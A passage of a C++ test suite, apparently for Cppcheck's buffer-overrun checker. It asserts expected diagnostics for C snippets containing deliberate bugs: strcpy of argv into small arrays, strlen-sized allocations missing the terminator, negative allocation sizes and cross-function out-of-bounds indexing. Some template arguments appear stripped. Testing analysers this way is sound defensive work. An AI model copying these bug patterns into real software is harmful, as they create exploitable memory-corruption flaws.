Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(const int argc, char **argv, char **envp)\\n\"\n \"{\\n\"\n \" char prog[10] = {'\\\\0'};\\n\"\n \" strcat(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, char **options)\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" strcpy(prog, options[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, char **options)\\n\"\n \"{\\n\"\n \" char prog[10] = {'\\\\0'};\\n\"\n \" strcat(prog, options[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, char **options)\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" strcpy(prog, *options);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, char **options)\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" strcpy(prog+3, *options);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, char **argv, char **envp)\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" if (strlen(argv[0]) < 10)\\n\"\n \" strcpy(prog, argv[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char **argv, char **envp)\\n\"\n \"{\\n\"\n \" char prog[10] = {'\\\\0'};\\n\"\n \" if (10 > strlen(argv[0]))\\n\"\n \" strcat(prog, argv[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char **argv, char **envp)\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" argv[0][0] = '\\\\0';\\n\"\n \" strcpy(prog, argv[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5835\n check(\"int main(int argc, char* argv[]) {\\n\"\n \" char prog[10];\\n\"\n \" strcpy(prog, argv[0]);\\n\"\n \" strcpy(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (error) Buffer overrun possible for long command line arguments.\\n\"\n \"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n // #7964\n check(\"int main(int argc, char *argv[]) {\\n\"\n \" char *strcpy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int main(int argc, char *argv[]) {\\n\"\n \" char *strcat();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkBufferAllocatedWithStrlen() {\n check(\"void f(char *a) {\\n\"\n \" char *b = new char[strlen(a)];\\n\"\n \" strcpy(b, a);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (error) Buffer is accessed out of bounds.\\n\", \"\", errout_str());\n\n check(\"void f(char *a) {\\n\"\n \" char *b = new char[strlen(a) + 1];\\n\"\n \" strcpy(b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *a) {\\n\"\n \" char *b = new char[strlen(a)];\\n\"\n \" a[0] = '\\\\0';\\n\"\n \" strcpy(b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *a) {\\n\"\n \" char *b = (char *)malloc(strlen(a));\\n\"\n \" b = realloc(b, 10000);\\n\"\n \" strcpy(b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *a) {\\n\"\n \" char *b = (char *)malloc(strlen(a));\\n\"\n \" strcpy(b, a);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (error) Buffer is accessed out of bounds.\\n\", \"\", errout_str());\n\n check(\"void f(char *a) {\\n\"\n \" char *b = (char *)malloc(strlen(a));\\n\"\n \" {\\n\"\n \" strcpy(b, a);\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer is accessed out of bounds.\\n\", \"\", errout_str());\n\n check(\"void f(char *a) {\\n\"\n \" char *b = (char *)malloc(strlen(a) + 1);\\n\"\n \" strcpy(b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *a, char *c) {\\n\"\n \" char *b = (char *)realloc(c, strlen(a));\\n\"\n \" strcpy(b, a);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (error) Buffer is accessed out of bounds.\\n\", \"\", errout_str());\n\n check(\"void f(char *a, char *c) {\\n\"\n \" char *b = (char *)realloc(c, strlen(a) + 1);\\n\"\n \" strcpy(b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *a) {\\n\"\n \" char *b = (char *)malloc(strlen(a));\\n\"\n \" strcpy(b, a);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (error) Buffer is accessed out of bounds.\\n\", \"\", errout_str());\n }\n\n void scope() {\n check(\"class A {\\n\"\n \"private:\\n\"\n \" struct X { char buf[10]; };\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" X x;\\n\"\n \" x.buf[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \"public:\\n\"\n \" struct X { char buf[10]; };\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A::X x;\\n\"\n \" x.buf[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (error) Array 'x.buf[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void getErrorMessages() {\n // Ticket #2292: segmentation fault when using --errorlist\n const Check& c = getCheck();\n c.getErrorMessages(this, nullptr);\n // we are not interested in the output - just consume it\n ignore_errout();\n }\n\n void arrayIndexThenCheck() {\n // extracttests.start: volatile int y;\n\n check(\"void f(const char s[]) {\\n\"\n \" if (s[i] == 'x' && i < y) {\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // No message because i is unknown and thus gets no varid. Avoid an internalError here.\n\n check(\"void f(const char s[], int i) {\\n\"\n \" if (s[i] == 'x' && i < y) {\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Array index 'i' is used before limits check. [arrayIndexThenCheck]\\n\", errout_str());\n\n check(\"void f(const char s[]) {\\n\"\n \" for (int i = 0; s[i] == 'x' && i < y; ++i) {\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Array index 'i' is used before limits check. [arrayIndexThenCheck]\\n\", errout_str());\n\n check(\"void f(const int a[], unsigned i) {\\n\"\n \" if((a[i] < 2) && (i <= 42)) {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Array index 'i' is used before limits check. [arrayIndexThenCheck]\\n\", errout_str());\n\n check(\"void f(const int a[], unsigned i) {\\n\"\n \" if((a[i] < 2) && (42 >= i)) {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Array index 'i' is used before limits check. [arrayIndexThenCheck]\\n\", errout_str());\n\n // extracttests.start: int elen;\n check(\"void f(char* e, int y) {\\n\"\n \" if (e[y] == '/' && elen > y + 1 && e[y + 1] == '?') {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // extracttests.start: int foo(int); int func(int);\n check(\"void f(const int a[], unsigned i) {\\n\"\n \" if(a[i] < func(i) && i <= 42) {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Array index 'i' is used before limits check. [arrayIndexThenCheck]\\n\", errout_str());\n\n check(\"void f(const int a[], unsigned i) {\\n\"\n \" if (i <= 42 && a[i] < func(i)) {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int a[], unsigned i) {\\n\"\n \" if (foo(a[i] + 3) < func(i) && i <= 42) {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Array index 'i' is used before limits check. [arrayIndexThenCheck]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // sizeof\n \" sizeof(a)/sizeof(a[i]) && i < 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // extracttests.start: extern int buf[];\n check(\"void f(int i) {\\n\" // ?:\n \" if ((i < 10 ? buf[i] : 1) && (i < 5 ? buf[i] : 5)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void arrayIndexEarlyReturn() { // #6884\n check(\"extern const char *Names[2];\\n\"\n \"const char* getName(int value) {\\n\"\n \" if ((value < 0) || (value > 1))\\n\"\n \" return \\\"???\\\";\\n\"\n \" const char* name = Names[value]; \\n\"\n \" switch (value) {\\n\"\n \" case 2:\\n\"\n \" break; \\n\"\n \" }\\n\"\n \" return name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void bufferNotZeroTerminated() {\n check(\"void f() {\\n\"\n \" char c[6];\\n\"\n \" strncpy(c,\\\"hello!\\\",6);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) The buffer 'c' may not be null-terminated after the call to strncpy(). [terminateStrncpy]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char c[6];\\n\"\n \" memcpy(c,\\\"hello!\\\",6);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (warning, inconclusive) The buffer 'c' may not be null-terminated after the call to memcpy().\\n\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char c[6];\\n\"\n \" memmove(c,\\\"hello!\\\",6);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (warning, inconclusive) The buffer 'c' may not be null-terminated after the call to memmove().\\n\", \"\", errout_str());\n }\n\n void negativeMemoryAllocationSizeError() { // #389\n check(\"void f()\\n\"\n \"{\\n\"\n \" int *a;\\n\"\n \" a = new int[-1];\\n\"\n \" delete [] a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (error) Memory allocation size is negative. [negativeMemoryAllocationSize]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int *a;\\n\"\n \" a = (int *)malloc( -10 );\\n\"\n \" free(a);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:8]: (error) Memory allocation size is negative. [negativeMemoryAllocationSize]\\n\", \"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int *a;\\n\"\n \" a = (int *)malloc( -10);\\n\"\n \" free(a);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:8]: (error) Memory allocation size is negative. [negativeMemoryAllocationSize]\\n\", \"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int *a;\\n\"\n \" a = (int *)alloca( -10 );\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:8]: (error) Memory allocation size is negative. [negativeMemoryAllocationSize]\\n\", \"\", errout_str());\n\n check(\"int* f(int n) {\\n\" // #11145\n \" int d = -1;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" d = std::max(i, d);\\n\"\n \" int* p = new int[d];\\n\"\n \" return p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (warning, inconclusive) Memory allocation size is negative. [negativeMemoryAllocationSize]\\n\", errout_str());\n }\n\n void negativeArraySize() {\n check(\"void f(int sz) {\\n\" // #1760 - VLA\n \" int a[sz];\\n\"\n \"}\\n\"\n \"void x() { f(-100); }\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (error) Declaration of array 'a' with negative size is undefined behaviour [negativeArraySize]\\n\", errout_str());\n\n // don't warn for constant sizes -> this is a compiler error so this is used for static assertions for instance\n check(\"int x, y;\\n\"\n \"int a[-1];\\n\"\n \"int b[x?1:-1];\\n\"\n \"int c[x?y:-1];\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pointerAddition1() {\n check(\"void f() {\\n\"\n \" char arr[10];\\n\"\n \" char *p = arr + 20;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (portability) Undefined behaviour, pointer arithmetic 'arr+20' is out of bounds. [pointerOutOfBounds]\\n\", errout_str());\n\n check(\"char(*g())[1];\\n\" // #7950\n \"void f() {\\n\"\n \" int a[2];\\n\"\n \" int* b = a + sizeof(*g());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define ctu(code) ctu_(code, __FILE__, __LINE__)\n template\n void ctu_(const char (&code)[size], const char* file, int line) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CTU::FileInfo *ctu = CTU::getFileInfo(tokenizer);\n\n // Check code..\n std::list fileInfo;\n Check& c = getCheck();\n fileInfo.push_back(c.getFileInfo(tokenizer, settings0, \"\"));\n c.analyseWholeProgram(*ctu, fileInfo, settings0, *this); // TODO: check result\n while (!fileInfo.empty()) {\n delete fileInfo.back();\n fileInfo.pop_back();\n }\n delete ctu;\n }\n\n void ctu_malloc() {\n ctu(\"void dostuff(char *p) {\\n\"\n \" p[-3] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" char *s = malloc(4);\\n\"\n \" dostuff(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:7:10] -> [test.cpp:2:3]: (error) Array index out of bounds; buffer 'p' is accessed at offset -3. [ctuArrayIndex]\\n\", errout_str());\n\n ctu(\"void dostuff(char *p) {\\n\"\n \" p[4] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" char *s = malloc(4);\\n\"\n \" dostuff(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:7:10] -> [test.cpp:2:3]: (error) Array index out of bounds; 'p' buffer size is 4 and it is accessed at offset 4. [ctuArrayIndex]\\n\", errout_str());\n\n ctu(\"void f(int* p) {\\n\" // #10415\n \" int b[1];\\n\"\n \" b[0] = p[5];\\n\"\n \" std::cout << b[0];\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" int* a = new int[1];\\n\"\n \" a[0] = 5;\\n\"\n \" f(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:12] -> [test.cpp:9:6] -> [test.cpp:3:12]: (error) Array index out of bounds; 'p' buffer size is 4 and it is accessed at offset 20. [ctuArrayIndex]\\n\", errout_str());\n }\n\n void ctu_array() {\n ctu(\"void dostuff(char *p) {\\n\"\n \" p[10] = 0;\\n\"\n \"}\\n\"\n \"int main() {\\n\"\n \" char str[4];\\n\"\n \" dostuff(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:5]: (error) Array index out of bounds; 'p' buffer size is 4 and it is accessed at offset 10. [ctuArrayIndex]\\n\", errout_str());\n\n ctu(\"static void memclr( char *data )\\n\"\n \"{\\n\"\n \" data[10] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" char str[5];\\n\"\n \" memclr( str );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:11] -> [test.cpp:3:5]: (error) Array index out of bounds; 'data' buffer size is 5 and it is accessed at offset 10. [ctuArrayIndex]\\n\", errout_str());\n\n ctu(\"static void memclr( int i, char *data )\\n\"\n \"{\\n\"\n \" data[10] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" char str[5];\\n\"\n \" memclr( 0, str );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:11] -> [test.cpp:3:5]: (error) Array index out of bounds; 'data' buffer size is 5 and it is accessed at offset 10. [ctuArrayIndex]\\n\", errout_str());\n\n ctu(\"static void memclr( int i, char *data )\\n\"\n \"{\\n\"\n \" data[i] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" char str[5];\\n\"\n \" memclr( 10, str );\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:9] -> [test.cpp:3]: (possible error) Array index out of bounds.\\n\",\n \"\", errout_str());\n\n // This is not an error\n ctu(\"static void memclr( char *data, int size )\\n\"\n \"{\\n\"\n \" if( size > 10 )\"\n \" data[10] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" char str[5];\\n\"\n \" memclr( str, 5 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2097\n ctu(\"void foo(int *p)\\n\"\n \"{\\n\"\n \" --p;\\n\"\n \" p[2] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void bar()\\n\"\n \"{\\n\"\n \" int p[3];\\n\"\n \" foo(p+1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9112\n ctu(\"static void get_mac_address(const u8 *strbuf)\\n\"\n \"{\\n\"\n \" (strbuf[2]);\\n\"\n \"}\\n\"\n \"\\n\"\n \"static void program_mac_address(u32 mem_base)\\n\"\n \"{\\n\"\n \" u8 macstrbuf[17] = { 0 };\\n\"\n \" get_mac_address(macstrbuf);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9788\n ctu(\"void f1(char *s) { s[2] = 'B'; }\\n\"\n \"void f2(char s[]) { s[2] = 'B'; }\\n\"\n \"void g() {\\n\"\n \" char str[2];\\n\"\n \" f1(str);\\n\"\n \" f2(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7] -> [test.cpp:1:20]: (error) Array index out of bounds; 's' buffer size is 2 and it is accessed at offset 2. [ctuArrayIndex]\\n\"\n \"[test.cpp:6:7] -> [test.cpp:2:21]: (error) Array index out of bounds; 's' buffer size is 2 and it is accessed at offset 2. [ctuArrayIndex]\\n\",\n errout_str());\n\n // #5140\n ctu(\"void g(const char* argv[]) { std::cout << \\\"argv: \\\" << argv[4] << std::endl; }\\n\"\n \"void f() {\\n\"\n \" const char* argv[] = { \\\"test\\\" };\\n\"\n \" g(argv);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6] -> [test.cpp:1:55]: (error) Array index out of bounds; 'argv' buffer size is 1 and it is accessed at offset 4. [ctuArrayIndex]\\n\",\n errout_str());\n\n ctu(\"void g(const char* argv[]) { std::cout << \\\"argv: \\\" << argv[5] << std::endl; }\\n\"\n \"void f() {\\n\"\n \" const char* argv[1] = { \\\"test\\\" };\\n\"\n \" g(argv);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6] -> [test.cpp:1:55]: (error) Array index out of bounds; 'argv' buffer size is 1 and it is accessed at offset 5. [ctuArrayIndex]\\n\",\n errout_str());\n\n ctu(\"void g(int *b) { b[0] = 0; }\\n\"\n \"void f() {\\n\"\n \" GLint a[1];\\n\"\n \" g(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu(\"const int a[1] = { 1 };\\n\" // #11042\n \"void g(const int* d) {\\n\"\n \" (void)d[2];\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" g(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:6] -> [test.cpp:3:11]: (error) Array index out of bounds; 'd' buffer size is 4 and it is accessed at offset 8. [ctuArrayIndex]\\n\",\n errout_str());\n }\n\n void ctu_variable() {\n ctu(\"void dostuff(int *p) {\\n\"\n \" p[10] = 0;\\n\"\n \"}\\n\"\n \"int main() {\\n\"\n \" int x = 4;\\n\"\n \" dostuff(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:5]: (error) Array index out of bounds; 'p' buffer size is 4 and it is accessed at offset 40. [ctuArrayIndex]\\n\", errout_str());\n }\n\n void ctu_arithmetic() {\n ctu(\"void dostuff(int *p) { x = p + 10; }\\n\"\n \"int main() {\\n\"\n \" int x[3];\\n\"\n \" dostuff(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:1:28]: (error) Pointer arithmetic overflow; 'p' buffer size is 12 [ctuPointerArith]\\n\", errout_str());\n\n ctu(\"void f(const char *p) {\\n\" // #11361\n \" const char* c = p + 1;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" const char s[N] = \\\"ab\\\";\\n\"\n \" f(s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void objectIndex() {\n check(\"int f() {\\n\"\n \" int i;\\n\"\n \" return (&i)[1];\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:13] -> [test.cpp:3:16]: (error) The address of variable 'i' is accessed at non-zero index. [objectIndex]\\n\",\n errout_str());\n\n check(\"int f(int j) {\\n\"\n \" int i;\\n\"\n \" return (&i)[j];\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:13] -> [test.cpp:3:16]: (warning) The address of variable 'i' might be accessed at non-zero index. [objectIndex]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" int i;\\n\"\n \" return (&i)[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int * i) {\\n\"\n \" return i[1];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector i) {\\n\"\n \" return i[1];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector i) {\\n\"\n \" return i.data()[1];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::vector& i) {\\n\"\n \" return &(i[1]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int i; int j; };\\n\"\n \"int f() {\\n\"\n \" A x;\\n\"\n \" return (&x.i)[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int i; int j; };\\n\"\n \"int f() {\\n\"\n \" A x;\\n\"\n \" int * i = &x.i;\\n\"\n \" return i[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" std::map m;\\n\"\n \" m[0] = &x;\\n\"\n \" m[1] = &x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" std::map m;\\n\"\n \" m[0] = &x;\\n\"\n \" return m[0][1];\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:5:14]: (error) The address of variable 'x' is accessed at non-zero index. [objectIndex]\\n\",\n errout_str());\n\n check(\"int x = 0;\\n\"\n \"int f() {\\n\"\n \" std::map m;\\n\"\n \" m[0] = &x;\\n\"\n \" return m[0][1];\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:5:14]: (error) The address of variable 'x' is accessed at non-zero index. [objectIndex]\\n\",\n errout_str());\n\n check(\"int f(int * y) {\\n\"\n \" int x = 0;\\n\"\n \" std::map m;\\n\"\n \" m[0] = &x;\\n\"\n \" m[1] = y;\\n\"\n \" return m[1][1];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void print(char** test);\\n\"\n \"int main(){\\n\"\n \" char* test = \\\"abcdef\\\";\\n\"\n \" print(&test);\\n\"\n \" return 0;\\n\"\n \"}\\n\"\n \"void print(char** test){\\n\"\n \" for(int i=0;i [test.cpp:4] -> [test.cpp:9]: (warning) The address of local variable 'test' might be accessed at non-zero index.\\n\",\n \"\",\n errout_str());\n\n check(\"void Bar(uint8_t data);\\n\"\n \"void Foo(const uint8_t * const data, const uint8_t length) {\\n\"\n \" for(uint8_t index = 0U; index < length ; ++index)\\n\"\n \" Bar(data[index]);\\n\"\n \"}\\n\"\n \"void test() {\\n\"\n \" const uint8_t data = 0U;\\n\"\n \" Foo(&data,1U);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int n, int* p) {\\n\"\n \" int res = 0;\\n\"\n \" for(int i = 0; i < n; i++ )\\n\"\n \" res += p[i];\\n\"\n \" return res;\\n\"\n \"}\\n\"\n \"int bar() {\\n\"\n \" int single_value = 0;\\n\"\n \" return foo(1, &single_value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* app, size_t applen) {\\n\" // #10137\n \" char* tmp_de = NULL;\\n\"\n \" char** str = &tmp_de;\\n\"\n \" char* tmp = (char*)realloc(*str, applen + 1);\\n\"\n \" if (tmp) {\\n\"\n \" *str = tmp;\\n\"\n \" memcpy(*str, app, applen);\\n\"\n \" (*str)[applen] = '\\\\0';\\n\"\n \" }\\n\"\n \" free(*str);\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"using vector = Eigen::Matrix;\\n\"\n \"template \\n\"\n \"void scharr(image2d>& out) {\\n\"\n \" vector* out_row = &out(r, 0);\\n\"\n \" out_row[c] = vector(1,2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const uint8_t* d, const uint8_t L) {\\n\" // #10092\n \" for (uint8_t i = 0U; i < L; ++i)\\n\"\n \" g(d[i]);\\n\"\n \"}\\n\"\n \"void h() {\\n\"\n \" const uint8_t u = 4;\\n\"\n \" f(&u, N);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"uint32_t f(uint32_t u) {\\n\" // #10154\n \" return ((uint8_t*)&u)[3];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"uint32_t f(uint32_t u) {\\n\"\n \" return ((uint8_t*)&u)[4];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23] -> [test.cpp:2:26]: (error) The address of variable 'u' is accessed at non-zero index. [objectIndex]\\n\", errout_str());\n\n check(\"uint32_t f(uint32_t u) {\\n\"\n \" return reinterpret_cast(&u)[3];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"uint32_t f(uint32_t u) {\\n\"\n \" return reinterpret_cast(&u)[4];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:45] -> [test.cpp:2:48]: (error) The address of variable 'u' is accessed at non-zero index. [objectIndex]\\n\", errout_str());\n\n check(\"uint32_t f(uint32_t u) {\\n\"\n \" uint8_t* p = (uint8_t*)&u;\\n\"\n \" return p[3];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"uint32_t f(uint32_t u) {\\n\"\n \" uint8_t* p = (uint8_t*)&u;\\n\"\n \" return p[4];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:28] -> [test.cpp:3:13]: (error) The address of variable 'u' is accessed at non-zero index. [objectIndex]\\n\", errout_str());\n\n check(\"uint32_t f(uint32_t* pu) {\\n\"\n \" uint8_t* p = (uint8_t*)pu;\\n\"\n \" return p[4];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { uint8_t padding[500]; };\\n\" // #10133\n \"S s = { 0 };\\n\"\n \"uint8_t f() {\\n\"\n \" uint8_t* p = (uint8_t*)&s;\\n\"\n \" return p[10];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X {\\n\" // #2654\n \" int a;\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" const X s;\\n\"\n \" const int* y = &s.a;\\n\"\n \" (void)y[0];\\n\"\n \" (void)y[1];\\n\"\n \" (void)y[2];\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void checkPipeParameterSize() { // #3521\n\n const Settings settings = settingsBuilder().library(\"posix.cfg\").build();\n\n check(\"void f(){\\n\"\n \"int pipefd[1];\\n\" // <-- array of two integers is needed\n \"if (pipe(pipefd) == -1) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:10]: (error) Buffer is accessed out of bounds: pipefd [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \"int pipefd[2];\\n\"\n \"if (pipe(pipefd) == -1) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n 